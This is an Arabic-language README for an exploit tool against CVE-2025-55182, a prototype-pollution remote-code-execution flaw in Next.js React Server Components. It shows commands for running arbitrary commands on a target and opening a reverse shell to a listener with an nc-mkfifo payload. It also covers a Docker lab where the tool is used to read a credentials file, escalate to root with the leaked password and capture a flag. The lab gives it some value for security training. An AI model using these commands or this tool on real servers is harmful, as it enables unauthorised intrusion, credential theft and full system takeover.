استغلال RCE لمكونات React Server في Next.js

يستغل CVE-2025-55182 لتنفيذ الأوامر عن بُعد عبر تلويث النموذج الأولي (prototype pollution).

المؤلف: Severian N.K.

الوصف

تستغل هذه الأداة ثغرة تلويث النموذج الأولي (prototype pollution) في تطبيقات Next.js التي تستخدم مكونات React Server، مما يؤدي إلى تنفيذ الأوامر عن بُعد (RCE). وهي تدعم تنفيذ الأوامر المباشرة والصدفة العكسية (reverse shells).

التثبيت

يستخدم هذا المشروع بيئة افتراضية بلغة Python لإدارة التبعيات. أولاً، تأكد من تثبيت Python 3.

1. إعداد البيئة الافتراضية:

   root@kitploit:~

   python3 -m venv venv
   

2. تفعيل البيئة وتثبيت التبعيات:

   root@kitploit:~

   source venv/bin/activate
   pip install -r requirements.txt
   

الاستخدام

تأكد من تفعيل البيئة الافتراضية (source venv/bin/activate) قبل تشغيل الأداة.

تنفيذ الأوامر

لتنفيذ أمر واحد على الهدف:

python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"

مثال:

python3 exploit.py -u http://example.com -c "id"

الصدفة العكسية

للحصول على صدفة عكسية من الهدف:

python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>

مثال:

python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo

بيئة المختبر

يحتوي مجلد lab/ على بيئتي Docker مستقلتين:

1. التطبيق الضعيف (lab/vulnerable): يعمل على المنفذ 3000.
2. التطبيق المُصحَّح (lab/patched): يعمل على المنفذ 3001.

1. إعداد التطبيق الضعيف

cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh

الوصول عبر: http://localhost:3000

2. إعداد التطبيق المُصحَّح

cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh

الوصول عبر: http://localhost:3001

3. اختبار الصدفة العكسية

يجب عليك تحديد عنوان IP للمستمع (--lhost) والمنفذ (--lport). يمكنك العثور على عنوان IP لجسر Docker باستخدام ip addr show docker0 (عادةً 172.17.0.1).

python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo

ملاحظة: نستخدم -P nc-mkfifo لأن الهدف يعمل بنظام Alpine Linux، الأمر الذي يتطلب نوع حمولة (payload) محددًا.

الخطوة 2: الوصول إلى الأسرار

يُظهر الحاوية الضعيفة ملفًا سريًا.

python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!

الخطوة 3: تصعيد الامتيازات

يمكنك تصعيد الصلاحيات من مستخدم nextjs إلى root باستخدام بيانات الاعتماد المخترقة.

1. تبديل المستخدم: su - manager (كلمة المرور: SuperSecret2025!)
2. كن root: sudo su (كلمة المرور: SuperSecret2025!)
3. الحصول على العَلَم (Flag):
   root@kitploit:~

   cat /root/flag.txt
   # Output: Congratulations! You have gained full control over the system!
   

المراجع

• التحليل الفني (Gist)
• مختبر عملي (TryHackMe)

المساهمة

المساهمات مرحب بها! إذا وجدت خطأً أو كانت لديك فكرة للتحسين، فيرجى فتح issue أو إرسال pull request.